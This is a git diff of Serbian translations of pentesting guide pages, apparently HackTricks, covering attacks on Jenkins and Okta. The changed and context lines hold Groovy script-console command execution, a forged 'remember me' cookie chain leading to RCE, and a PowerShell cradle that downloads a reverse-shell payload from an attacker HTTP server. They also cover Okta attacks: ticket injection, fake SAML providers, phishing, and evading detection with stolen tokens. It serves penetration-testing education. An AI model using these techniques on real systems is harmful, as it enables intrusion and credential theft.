+Pluginovi mogu pružiti dodatna sigurnosna carstva koja mogu biti korisna za uključivanje Jenkinsa u postojeće identitetske sisteme, kao što su:
- [Active Directory](https://plugins.jenkins.io/active-directory)
- [GitHub Authentication](https://plugins.jenkins.io/github-oauth)
@@ -59,7 +59,7 @@ Definicije iz [dokumentacije](https://www.jenkins.io/doc/book/managing/nodes/):
**Čvorovi** su **mašine** na kojima se izvršavaju **agenti za izgradnju**. Jenkins prati svaki priključeni čvor za slobodan prostor na disku, slobodan temp prostor, slobodan swap, vreme/sinkronizaciju sata i vreme odgovora. Čvor se uzima offline ako bilo koja od ovih vrednosti pređe konfigurisani prag.
-**Agenti** **upravljaju** **izvršenjem zadataka** u ime Jenkins kontrolera koristeći **izvršioce**. Agent može koristiti bilo koji operativni sistem koji podržava Javu. Alati potrebni za izgradnje i testove su instalirani na čvoru gde agent radi; mogu se **instalirati direktno ili u kontejneru** (Docker ili Kubernetes). Svaki **agent je zapravo proces sa svojim PID** na host mašini.
+**Agenti** **upravljaju** **izvršenjem zadataka** u ime Jenkins kontrolera koristeći **izvršioce**. Agent može koristiti bilo koji operativni sistem koji podržava Javu. Alati potrebni za izgradnje i testove su instalirani na čvoru na kojem agent radi; mogu se **instalirati direktno ili u kontejneru** (Docker ili Kubernetes). Svaki **agent je zapravo proces sa svojim PID** na host mašini.
**Izvršilac** je **slot za izvršenje zadataka**; zapravo, to je **nit u agentu**. **Broj izvršilaca** na čvoru definiše broj **paralelnih zadataka** koji se mogu izvršiti na tom čvoru u jednom trenutku. Drugim rečima, ovo određuje **broj paralelnih Pipeline `stages`** koji mogu izvršiti na tom čvoru u jednom trenutku.
@@ -67,17 +67,17 @@ Definicije iz [dokumentacije](https://www.jenkins.io/doc/book/managing/nodes/):
### Enkripcija Tajni i Akreditiva
-Definicija iz [dokumentacije](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins koristi **AES za enkripciju i zaštitu tajni**, akreditiva i njihovih odgovarajućih ključeva za enkripciju. Ovi ključevi za enkripciju se čuvaju u `$JENKINS_HOME/secrets/` zajedno sa glavnim ključem koji se koristi za zaštitu navedenih ključeva. Ovaj direktorijum treba konfigurisati tako da samo korisnik operativnog sistema pod kojim Jenkins kontroler radi ima pristup za čitanje i pisanje u ovaj direktorijum (tj. `chmod` vrednost `0700` ili korišćenjem odgovarajućih atributa datoteka). **Glavni ključ** (ponekad nazvan "ključ za enkripciju ključeva" u kriptožargonu) je **pohranjen \_nekriptovan\_** na datotečnom sistemu Jenkins kontrolera u **`$JENKINS_HOME/secrets/master.key`** što ne štiti od napadača sa direktnim pristupom toj datoteci. Većina korisnika i programera će koristiti ove ključeve za enkripciju indirektno putem [Secret](https://javadoc.jenkins.io/byShortName/Secret) API za enkripciju generičkih tajnih podataka ili putem API za akreditive. Za kriptozainteresovane, Jenkins koristi AES u režimu blokovne enkripcije (CBC) sa PKCS#5 punjenjem i nasumičnim IV-ima za enkripciju instanci [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) koje se čuvaju u `$JENKINS_HOME/secrets/` sa imenom datoteke koje odgovara njihovom `CryptoConfidentialKey` id. Uobičajeni id ključeva uključuju:
+Definicija iz [dokumentacije](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins koristi **AES za enkripciju i zaštitu tajni**, akreditiva i njihovih odgovarajućih ključeva za enkripciju. Ovi ključevi za enkripciju se čuvaju u `$JENKINS_HOME/secrets/` zajedno sa glavnim ključem koji se koristi za zaštitu navedenih ključeva. Ovaj direktorijum treba konfigurisati tako da samo korisnik operativnog sistema pod kojim Jenkins kontroler radi ima pristup za čitanje i pisanje u ovaj direktorijum (tj. `chmod` vrednost `0700` ili korišćenje odgovarajućih atributa datoteka). **Glavni ključ** (ponekad nazvan "ključ za enkripciju" u kriptožargonu) je **pohranjen \_nekriptovano\_** na datotečnom sistemu Jenkins kontrolera u **`$JENKINS_HOME/secrets/master.key`** što ne štiti od napadača sa direktnim pristupom toj datoteci. Većina korisnika i programera će koristiti ove ključeve za enkripciju indirektno putem [Secret](https://javadoc.jenkins.io/byShortName/Secret) API za enkripciju generičkih tajnih podataka ili putem API-ja za akreditive. Za kriptozainteresovane, Jenkins koristi AES u režimu blokovne enkripcije (CBC) sa PKCS#5 punjenjem i nasumičnim IV-ima za enkripciju instanci [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) koje se čuvaju u `$JENKINS_HOME/secrets/` sa imenom datoteke koje odgovara njihovom `CryptoConfidentialKey` id. Uobičajeni id ključeva uključuju:
- `hudson.util.Secret`: korišćen za generičke tajne;
- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: korišćen za neke tipove akreditiva;
-- `jenkins.model.Jenkins.crumbSalt`: korišćen od strane [CSRF zaštitnog mehanizma](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery); i
+- `jenkins.model.Jenkins.crumbSalt`: koristi se od strane [CSRF zaštitnog mehanizma](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery); i
### Pristup Akreditivima
-Akreditivi mogu biti **ograničeni na globalne provajdere** (`/credentials/`) kojima može pristupiti bilo koji konfigurisani projekat, ili mogu biti ograničeni na **specifične projekte** (`/job//configure`) i stoga dostupni samo iz specifičnog projekta.
+Akreditivi mogu biti **ograničeni na globalne provajdere** (`/credentials/`) kojima može pristupiti bilo koji konfigurisan projekat, ili mogu biti ograničeni na **specifične projekte** (`/job//configure`) i stoga dostupni samo iz specifičnog projekta.
-Prema [**dokumentaciji**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Akreditivi koji su u opsegu su dostupni za pipeline bez ograničenja. Da bi se **sprečilo slučajno izlaganje u logu izgradnje**, akreditivi su **maskirani** iz redovnog izlaza, tako da poziv `env` (Linux) ili `set` (Windows), ili programi koji štampaju svoje okruženje ili parametre ne bi **otkrili njih u logu izgradnje** korisnicima koji inače ne bi imali pristup akreditivima.
+Prema [**dokumentaciji**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Akreditivi koji su u opsegu su dostupni za pipeline bez ograničenja. Da bi se **sprečilo slučajno izlaganje u logu izgradnje**, akreditivi su **maskirani** od redovnog izlaza, tako da poziv `env` (Linux) ili `set` (Windows), ili programi koji štampaju svoje okruženje ili parametre ne bi **otkrili njih u logu izgradnje** korisnicima koji inače ne bi imali pristup akreditivima.
**Zato napadač treba, na primer, da ih base64 kodira da bi ih eksfiltrirao.**
diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md b/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md
index 6ab10baa4..3382d77ba 100644
--- a/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md
+++ b/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md
@@ -2,13 +2,13 @@
{{#include ../../banners/hacktricks-training.md}}
-U ovom blog postu je moguće pronaći sjajan način da se transformiše ranjivost Local File Inclusion u Jenkins-u u RCE: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/)
+U ovom blog postu je moguće pronaći odličan način da se transformiše ranjivost Local File Inclusion u Jenkins-u u RCE: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/)
Ovo je AI kreirani sažetak dela posta gde se zloupotrebljava kreacija proizvoljnog kolačića da bi se dobio RCE zloupotrebom lokalnog čitanja datoteka dok ne budem imao vremena da napravim svoj sažetak:
### Attack Prerequisites
-- **Feature Requirement:** "Remember me" mora biti omogućeno (podrazumevani postavka).
+- **Feature Requirement:** "Remember me" mora biti omogućeno (podrazumevano podešavanje).
- **Access Levels:** Napadač treba Overall/Read dozvole.
- **Secret Access:** Sposobnost čitanja binarnog i tekstualnog sadržaja iz ključnih datoteka.
@@ -52,8 +52,8 @@ token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey
- **Decrypt MAC Key File:**
```javascript
-key = toAes128Key(masterKey) // Pretvori master ključ u AES128 format
-decrypted = AES.decrypt(macFile, key) // Dešifruj .mac datoteku
+key = toAes128Key(masterKey) // Konvertuje master ključ u AES128 format
+decrypted = AES.decrypt(macFile, key) // Dešifruje .mac datoteku
if not decrypted.hasSuffix("::::MAGIC::::")
return ERROR;
macKey = decrypted.withoutSuffix("::::MAGIC::::")
@@ -64,8 +64,8 @@ macKey = decrypted.withoutSuffix("::::MAGIC::::")
- **Compute HMAC SHA256:**
```javascript
-mac = HmacSHA256(token, macKey) // Izračunaj HMAC koristeći token i MAC ključ
-tokenSignature = bytesToHexString(mac) // Pretvori MAC u heksadecimalni string
+mac = HmacSHA256(token, macKey) // Izračunava HMAC koristeći token i MAC ključ
+tokenSignature = bytesToHexString(mac) // Konvertuje MAC u heksadecimalni string
```
**Cookie Encoding**
@@ -75,7 +75,7 @@ tokenSignature = bytesToHexString(mac) // Pretvori MAC u heksadecimalni string
```javascript
cookie = base64.encode(
username + ":" + tokenExpiryTime + ":" + tokenSignature
-) // Base64 kodiraj podatke kolačića
+) // Base64 kodira podatke kolačića
```
#### Step 3: Code Execution
@@ -100,6 +100,6 @@ curl -X POST "$JENKINS_URL/scriptText" \
- Groovy skripta može se koristiti za izvršavanje komandi na sistemskom nivou ili drugih operacija unutar Jenkins okruženja.
-Primer curl komande prikazan pokazuje kako napraviti zahtev ka Jenkins-u sa potrebnim zaglavljima i kolačićima za sigurno izvršavanje proizvoljnog koda.
+Primer curl komande prikazan je kako bi se pokazalo kako napraviti zahtev ka Jenkins-u sa potrebnim zaglavljima i kolačićima za sigurno izvršavanje proizvoljnog koda.
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md b/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md
index c6aa4c053..05618562e 100644
--- a/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md
+++ b/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md
@@ -41,7 +41,7 @@ showRow("something else", it.id, '', '', '')
return
```
-#### или овај:
+#### ili ovaj:
```java
import java.nio.charset.StandardCharsets;
def creds = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(
diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md
index d386cb277..7c3077445 100644
--- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md
+++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md
@@ -1,4 +1,4 @@
-# Jenkins RCE Creating/Modifying Pipeline
+# Jenkins RCE Kreiranje/Modifikovanje Pipelines
{{#include ../../banners/hacktricks-training.md}}
@@ -32,6 +32,6 @@ Na kraju kliknite na **Save**, i **Build Now** i pipeline će biti izvršen:
## Modifikovanje Pipeline-a
-Ako možete pristupiti konfiguracionom fajlu nekog konfigurisanog pipeline-a, možete jednostavno **modifikovati ga dodajući svoj reverzni shell** i zatim ga izvršiti ili čekati da bude izvršen.
+Ako možete pristupiti konfiguracionom fajlu nekog konfigurisanog pipeline-a, možete jednostavno **modifikovati dodajući svoj reverzni shell** i zatim ga izvršiti ili čekati da bude izvršen.
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md
index 08a41a725..2523f7e28 100644
--- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md
+++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md
@@ -1,32 +1,32 @@
-# Jenkins RCE Creating/Modifying Project
+# Jenkins RCE Kreiranje/Modifikovanje Projekta
{{#include ../../banners/hacktricks-training.md}}
-## Creating a Project
+## Kreiranje Projekta
-Ova metoda je veoma bučna jer morate da kreirate potpuno novi projekat (očigledno, ovo će raditi samo ako korisniku nije dozvoljeno da kreira novi projekat).
+Ova metoda je veoma bučna jer morate da kreirate potpuno novi projekat (očigledno, ovo će raditi samo ako korisnik ima dozvolu da kreira novi projekat).
-1. **Kreirajte novi projekat** (Freestyle project) klikom na "New Item" ili u `/view/all/newJob`
-2. Unutar **Build** sekcije postavite **Execute shell** i nalepite powershell Empire launcher ili meterpreter powershell (može se dobiti korišćenjem _unicorn_). Pokrenite payload sa _PowerShell.exe_ umesto korišćenja _powershell._
+1. **Kreirajte novi projekat** (Freestyle projekat) klikom na "New Item" ili u `/view/all/newJob`
+2. Unutar **Build** sekcije postavite **Execute shell** i nalepite powershell Empire launcher ili meterpreter powershell (može se dobiti korišćenjem _unicorn_). Pokrenite payload sa _PowerShell.exe_ umesto korišćenjem _powershell._
3. Kliknite na **Build now**
1. Ako **Build now** dugme ne pojavljuje, još uvek možete otići na **configure** --> **Build Triggers** --> `Build periodically` i postaviti cron na `* * * * *`
2. Umesto korišćenja crona, možete koristiti konfiguraciju "**Trigger builds remotely**" gde samo treba da postavite ime api tokena za pokretanje posla. Zatim idite na svoj korisnički profil i **generišite API token** (nazovite ovaj API token kao što ste nazvali api token za pokretanje posla). Na kraju, pokrenite posao sa: **`curl :@/job//build?token=`**
.png>)
-## Modifying a Project
+## Modifikovanje Projekta
-Idite na projekte i proverite **da li možete da konfigurišete bilo koji** od njih (potražite "Configure button"):
+Idite na projekte i proverite **da li možete da konfigurišete bilo koji** od njih (potražite "Configure dugme"):
.png>)
-Ako **ne možete** da vidite nijedno **konfiguraciono** **dugme** onda **ne možete** **konfigurisati** verovatno (ali proverite sve projekte jer možda možete da konfigurišete neke od njih, a ne druge).
+Ako **ne možete** da vidite bilo koje **konfiguracijsko** **dugme** onda **ne možete** **konfigurisati** verovatno (ali proverite sve projekte jer možda možete da konfigurišete neke od njih, a ne druge).
Ili **pokušajte da pristupite putanji** `/job//configure` ili `/me/my-views/view/all/job//configure` \_\_ u svakom projektu (primer: `/job/Project0/configure` ili `/me/my-views/view/all/job/Project0/configure`).
-## Execution
+## Izvršenje
-Ako vam je dozvoljeno da konfigurišete projekat, možete **učiniti da izvršava komande kada je build uspešan**:
+Ako imate dozvolu da konfigurišete projekat, možete **naterati ga da izvršava komande kada je build uspešan**:
.png>)
diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md
index 90086d4e8..76dcdaa62 100644
--- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md
+++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md
@@ -1,13 +1,13 @@
-# Jenkins RCE with Groovy Script
+# Jenkins RCE sa Groovy skriptom
{{#include ../../banners/hacktricks-training.md}}
-## Jenkins RCE with Groovy Script
+## Jenkins RCE sa Groovy skriptom
-Ovo je manje bučno od kreiranja novog projekta u Jenkinsu
+Ovo je manje bučno nego kreiranje novog projekta u Jenkinsu
1. Idite na _path_jenkins/script_
-2. Unutar tekstualnog okvira unesite skriptu
+2. Unutar tekstualnog okvira unesite skript
```python
def process = "PowerShell.exe ".execute()
println "Found text ${process.text}"
@@ -16,9 +16,9 @@ Možete izvršiti komandu koristeći: `cmd.exe /c dir`
U **linuxu** možete uraditi: **`"ls /".execute().text`**
-Ako treba da koristite _navodnike_ i _jednostruke navodnike_ unutar teksta. Možete koristiti _"""PAYLOAD"""_ (trostruki dvostruki navodnici) da izvršite payload.
+Ako trebate koristiti _navodnike_ i _jednostruke navodnike_ unutar teksta. Možete koristiti _"""PAYLOAD"""_ (trostruki dvostruki navodnici) za izvršavanje payload-a.
-**Još jedan koristan groovy skript** je (zamenite \[INSERT COMMAND]):
+**Još jedan koristan groovy skript** je (zameni \[INSERT COMMAND]):
```python
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = '[INSERT COMMAND]'.execute()
@@ -34,19 +34,19 @@ proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"
```
-### Обратна љуска у Виндовсу
+### Обратна љуска у Виндовс
-Можете припремити HTTP сервер са PS обрнутом љуском и користити Jeking да је преузмете и извршите:
+Можете припремити HTTP сервер са PS обратном љуском и користити Jeking да је преузмете и извршите:
```python
scriptblock="iex (New-Object Net.WebClient).DownloadString('http://192.168.252.1:8000/payload')"
echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0
cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc
```
-### Script
+### Скрипт
-Možete automatizovati ovaj proces sa [**ovim skriptom**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py).
+Можете автоматизовати овај процес са [**овим скриптом**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py).
-Možete koristiti MSF da dobijete reverznu ljusku:
+Можете користити MSF да добијете реверзну шелл:
```
msf> use exploit/multi/http/jenkins_script_console
```
diff --git a/src/pentesting-ci-cd/okta-security/README.md b/src/pentesting-ci-cd/okta-security/README.md
index 22f833374..6bf64ec78 100644
--- a/src/pentesting-ci-cd/okta-security/README.md
+++ b/src/pentesting-ci-cd/okta-security/README.md
@@ -9,12 +9,12 @@
Glavna ponuda Okta je **Okta Identity Cloud**. Ova platforma obuhvata paket proizvoda, uključujući, ali ne ograničavajući se na:
- **Single Sign-On (SSO)**: Pojednostavljuje pristup korisnika omogućavajući jedan set prijavnih podataka za više aplikacija.
-- **Multi-Factor Authentication (MFA)**: Povećava bezbednost zahtevajući više oblika verifikacije.
+- **Multi-Factor Authentication (MFA)**: Povećava sigurnost zahtevajući više oblika verifikacije.
- **Lifecycle Management**: Automatizuje procese kreiranja, ažuriranja i deaktivacije korisničkih naloga.
- **Universal Directory**: Omogućava centralizovano upravljanje korisnicima, grupama i uređajima.
-- **API Access Management**: Osigurava i upravlja pristupom API-ima.
+- **API Access Management**: Osigurava i upravlja pristupom API-jevima.
-Ove usluge zajednički imaju za cilj jačanje zaštite podataka i pojednostavljenje pristupa korisnicima, poboljšavajući i bezbednost i pogodnost. Svestranost Okta rešenja čini ih popularnim izborom u različitim industrijama, korisnim za velike kompanije, male firme i pojedinačne programere. Na poslednjem ažuriranju u septembru 2021. godine, Okta je priznata kao istaknuta entitet u oblasti upravljanja identitetom i pristupom (IAM).
+Ove usluge zajednički imaju za cilj jačanje zaštite podataka i pojednostavljenje pristupa korisnicima, poboljšavajući i sigurnost i pogodnost. Svestranost Okta rešenja čini ih popularnim izborom u različitim industrijama, korisnim za velike preduzeća, male kompanije i pojedinačne programere. Na poslednjem ažuriranju u septembru 2021. godine, Okta je priznata kao istaknuta entitet u oblasti upravljanja identitetom i pristupom (IAM).
> [!CAUTION]
> Glavni cilj Okta je da konfiguriše pristup različitim korisnicima i grupama za spoljne aplikacije. Ako uspete da **kompromitujete administratorske privilegije u Okta** okruženju, verovatno ćete moći da **kompromitujete sve druge platforme koje kompanija koristi**.
@@ -24,7 +24,7 @@ Ove usluge zajednički imaju za cilj jačanje zaštite podataka i pojednostavlje
### Sažetak
-Postoje **korisnici** (koji mogu biti **smešteni u Okta,** prijavljeni iz konfigurisanih **Identity Providers** ili autentifikovani putem **Active Directory** ili LDAP).\
+Postoje **korisnici** (koji mogu biti **smešteni u Okta,** prijavljeni iz konfigurisane **Identitet Provajdere** ili autentifikovani putem **Active Directory** ili LDAP).\
Ovi korisnici mogu biti unutar **grupa**.\
Postoje i **autentifikatori**: različite opcije za autentifikaciju kao što su lozinka, i nekoliko 2FA kao što su WebAuthn, email, telefon, okta verify (mogu biti omogućeni ili onemogućeni)...
@@ -37,43 +37,43 @@ Zatim, postoje **aplikacije** sinhronizovane sa Okta. Svaka aplikacija će imati
## Napadi
-### Lociranje Okta Portala
+### Lociranje Okta portala
-Obično će portal kompanije biti lociran na **companyname.okta.com**. Ako nije, pokušajte jednostavne **varijacije** od **companyname.** Ako ne možete da ga pronađete, takođe je moguće da organizacija ima **CNAME** zapis kao **`okta.companyname.com`** koji upućuje na **Okta portal**.
+Obično će portal kompanije biti lociran na **companyname.okta.com**. Ako nije, pokušajte jednostavne **varijacije** **companyname.** Ako ne možete da ga pronađete, takođe je moguće da organizacija ima **CNAME** zapis kao **`okta.companyname.com`** koji upućuje na **Okta portal**.
### Prijava u Okta putem Kerberosa
-Ako je **`companyname.kerberos.okta.com`** aktivan, **Kerberos se koristi za pristup Okta**, obično zaobilazeći **MFA** za **Windows** korisnike. Da biste pronašli Kerberos-autentifikovane Okta korisnike u AD, pokrenite **`getST.py`** sa **odgovarajućim parametrima**. Nakon dobijanja **AD korisničkog tiketa**, **ubacite** ga u kontrolisani host koristeći alate kao što su Rubeus ili Mimikatz, osiguravajući da je **`clientname.kerberos.okta.com` u "Intranet" zoni Internet opcija**. Pristup određenom URL-u trebao bi da vrati JSON "OK" odgovor, što ukazuje na prihvatanje Kerberos tiketa, i omogućava pristup Okta kontrolnoj tabli.
+Ako je **`companyname.kerberos.okta.com`** aktivan, **Kerberos se koristi za pristup Okta**, obično zaobilazeći **MFA** za **Windows** korisnike. Da biste pronašli Kerberos-autentifikovane Okta korisnike u AD, pokrenite **`getST.py`** sa **odgovarajućim parametrima**. Nakon dobijanja **AD korisničkog tiketa**, **ubacite** ga u kontrolisani host koristeći alate kao što su Rubeus ili Mimikatz, osiguravajući da je **`clientname.kerberos.okta.com` u "Intranet" zoni Internet opcija**. Pristup određenom URL-u trebao bi da vrati JSON "OK" odgovor, što ukazuje na prihvatanje Kerberos tiketa i omogućava pristup Okta kontrolnoj tabli.
Kompromitovanje **Okta servisnog naloga sa delegacijom SPN omogućava Silver Ticket napad.** Međutim, korišćenje **AES** za enkripciju tiketa zahteva posedovanje AES ključa ili lozinke u običnom tekstu. Koristite **`ticketer.py` da generišete tiket za korisnika žrtve** i isporučite ga putem pregledača da biste se autentifikovali sa Okta.
**Proverite napad u** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
-### Otimanje Okta AD Agenta
+### Otimanje Okta AD agenta
-Ova tehnika uključuje **pristupanje Okta AD Agentu na serveru**, koji **sinhronizuje korisnike i upravlja autentifikacijom**. Istražujući i dekriptovanjem konfiguracija u **`OktaAgentService.exe.config`**, posebno AgentToken koristeći **DPAPI**, napadač može potencijalno **presresti i manipulisati podacima o autentifikaciji**. Ovo omogućava ne samo **praćenje** i **hvatanje korisničkih podataka** u običnom tekstu tokom Okta procesa autentifikacije, već i **odgovaranje na pokušaje autentifikacije**, čime se omogućava neovlašćen pristup ili pružanje univerzalne autentifikacije putem Okta (slično 'skeleton key').
+Ova tehnika uključuje **pristupanje Okta AD agentu na serveru**, koji **sinhronizuje korisnike i upravlja autentifikacijom**. Istražujući i dekriptovanjem konfiguracija u **`OktaAgentService.exe.config`**, posebno AgentToken koristeći **DPAPI**, napadač može potencijalno **presresti i manipulisati podacima o autentifikaciji**. Ovo omogućava ne samo **praćenje** i **hvatanje korisničkih podataka** u običnom tekstu tokom Okta procesa autentifikacije, već i **odgovaranje na pokušaje autentifikacije**, čime se omogućava neovlašćen pristup ili pružanje univerzalne autentifikacije putem Okta (slično 'skeleton key').
**Proverite napad u** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
-### Otimanje AD kao Administrator
+### Otimanje AD kao administrator
-Ova tehnika uključuje otimanje Okta AD Agenta prvo dobijanjem OAuth Koda, a zatim traženjem API tokena. Token je povezan sa AD domenom, a **konektor je imenovan da uspostavi lažni AD agent**. Inicijalizacija omogućava agentu da **obrađuje pokušaje autentifikacije**, hvatajući podatke putem Okta API-ja. Alati za automatizaciju su dostupni za pojednostavljenje ovog procesa, nudeći besprekornu metodu za presretanje i rukovanje podacima o autentifikaciji unutar Okta okruženja.
+Ova tehnika uključuje otimanje Okta AD agenta prvo dobijanjem OAuth koda, a zatim traženjem API tokena. Token je povezan sa AD domenom, a **konektor je imenovan da uspostavi lažni AD agent**. Inicijalizacija omogućava agentu da **obrađuje pokušaje autentifikacije**, hvatajući kredencijale putem Okta API-ja. Alati za automatizaciju su dostupni za pojednostavljenje ovog procesa, nudeći besprekornu metodu za presretanje i rukovanje podacima o autentifikaciji unutar Okta okruženja.
**Proverite napad u** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
-### Lažni Okta SAML Pružalac
+### Lažni Okta SAML provajder
**Proverite napad u** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
-Tehnika uključuje **implementaciju lažnog SAML pružaoca**. Integracijom spoljnog Identity Providera (IdP) unutar Okta okvira koristeći privilegovani nalog, napadači mogu **kontrolisati IdP, odobravajući bilo koji zahtev za autentifikaciju po želji**. Proces podrazumeva postavljanje SAML 2.0 IdP u Okta, manipulaciju IdP Single Sign-On URL-om za preusmeravanje putem lokalnog hosts fajla, generisanje samopotpisanog sertifikata i konfiguraciju Okta postavki da se podudaraju sa korisničkim imenom ili email-om. Uspešno izvršavanje ovih koraka omogućava autentifikaciju kao bilo koji Okta korisnik, zaobilazeći potrebu za pojedinačnim korisničkim podacima, značajno povećavajući kontrolu pristupa na potencijalno neprimetan način.
+Tehnika uključuje **implementaciju lažnog SAML provajdera**. Integracijom spoljnog provajdera identiteta (IdP) unutar Okta okvira koristeći privilegovani nalog, napadači mogu **kontrolisati IdP, odobravajući bilo koji zahtev za autentifikaciju po želji**. Proces podrazumeva postavljanje SAML 2.0 IdP u Okta, manipulaciju IdP Single Sign-On URL-om za preusmeravanje putem lokalnog hosts fajla, generisanje samopotpisanog sertifikata i konfiguraciju Okta postavki da se podudaraju sa korisničkim imenom ili email-om. Uspešno izvršavanje ovih koraka omogućava autentifikaciju kao bilo koji Okta korisnik, zaobilazeći potrebu za pojedinačnim korisničkim podacima, značajno povećavajući kontrolu pristupa na potencijalno neprimetan način.
-### Phishing Okta Portala sa Evilgnix
+### Phishing Okta portala sa Evilgnix
U [**ovom blog postu**](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23) objašnjeno je kako pripremiti phishing kampanju protiv Okta portala.
-### Napad imitacije kolege
+### Napad impersonacije kolege
-**atributi koje svaki korisnik može imati i modifikovati** (kao što su email ili ime) mogu se konfigurisati u Okta. Ako je **aplikacija** **pouzdana** kao ID **atribut** koji korisnik može **modifikovati**, moći će da **imitira druge korisnike na toj platformi**.
+**atributi koje svaki korisnik može imati i modifikovati** (kao što su email ili ime) mogu se konfigurisati u Okta. Ako je **aplikacija** **verujuća** kao ID **atribut** koji korisnik može **modifikovati**, moći će da **imituje druge korisnike na toj platformi**.
Stoga, ako aplikacija veruje polju **`userName`**, verovatno nećete moći da ga promenite (jer obično ne možete promeniti to polje), ali ako veruje na primer **`primaryEmail`** možda ćete moći da **promenite na email adresu kolege** i imitirati ga (trebaće vam pristup email-u i da prihvatite promenu).
@@ -88,17 +88,17 @@ Najbolji način da saznate da li možete imitirati nekoga na svakoj aplikaciji b
## Izbegavanje politika detekcije ponašanja
-Politike detekcije ponašanja u Okta možda su nepoznate dok se ne susretnete s njima, ali **zaobilaženje** njih može se postići **ciljanjem Okta aplikacija direktno**, izbegavajući glavnu Okta kontrolnu tablu. Sa **Okta pristupnim tokenom**, ponovo upotrebite token na **URL-u specifičnom za aplikaciju Okta** umesto na glavnoj stranici za prijavu.
+Politike detekcije ponašanja u Okta mogu biti nepoznate dok se ne susretnete s njima, ali **zaobilaženje** njih može se postići **ciljanjem Okta aplikacija direktno**, izbegavajući glavnu Okta kontrolnu tablu. Sa **Okta pristupnim tokenom**, ponovo upotrebite token na **URL-u specifičnom za aplikaciju Okta** umesto na glavnoj stranici za prijavu.
Ključne preporuke uključuju:
-- **Izbegavajte korišćenje** popularnih anonimnih proksija i VPN usluga prilikom ponovnog korišćenja uhvaćenih pristupnih tokena.
-- Osigurajte **dosledne user-agent stringove** između klijenta i ponovo korišćenih pristupnih tokena.
+- **Izbegavajte korišćenje** popularnih anonimnih proxy-a i VPN usluga prilikom ponovnog korišćenja uhvaćenih pristupnih tokena.
+- Osigurajte **dosledne korisničke agent stringove** između klijenta i ponovo korišćenih pristupnih tokena.
- **Izbegavajte ponovnu upotrebu** tokena od različitih korisnika sa iste IP adrese.
-- Budite oprezni prilikom ponovnog korišćenja tokena protiv Okta kontrolne table.
+- Budite oprezni prilikom ponovne upotrebe tokena protiv Okta kontrolne table.
- Ako ste svesni IP adresa kompanije žrtve, **ograničite saobraćaj** na te IP adrese ili njihov opseg, blokirajući sav ostali saobraćaj.
-## Okta Ojačavanje
+## Okta jačanje
Okta ima mnogo mogućih konfiguracija, na ovoj stranici ćete pronaći kako da ih pregledate kako bi bile što sigurnije:
diff --git a/src/pentesting-ci-cd/okta-security/okta-hardening.md b/src/pentesting-ci-cd/okta-security/okta-hardening.md
index 6633d8aab..0b33e085f 100644
--- a/src/pentesting-ci-cd/okta-security/okta-hardening.md
+++ b/src/pentesting-ci-cd/okta-security/okta-hardening.md
@@ -6,7 +6,7 @@
### People
-Iz perspektive napadača, ovo je veoma zanimljivo jer ćete moći da vidite **sve registrovane korisnike**, njihove **email** adrese, **grupe** kojima pripadaju, **profile** i čak **uređaje** (mobilne telefone zajedno sa njihovim OS-ovima).
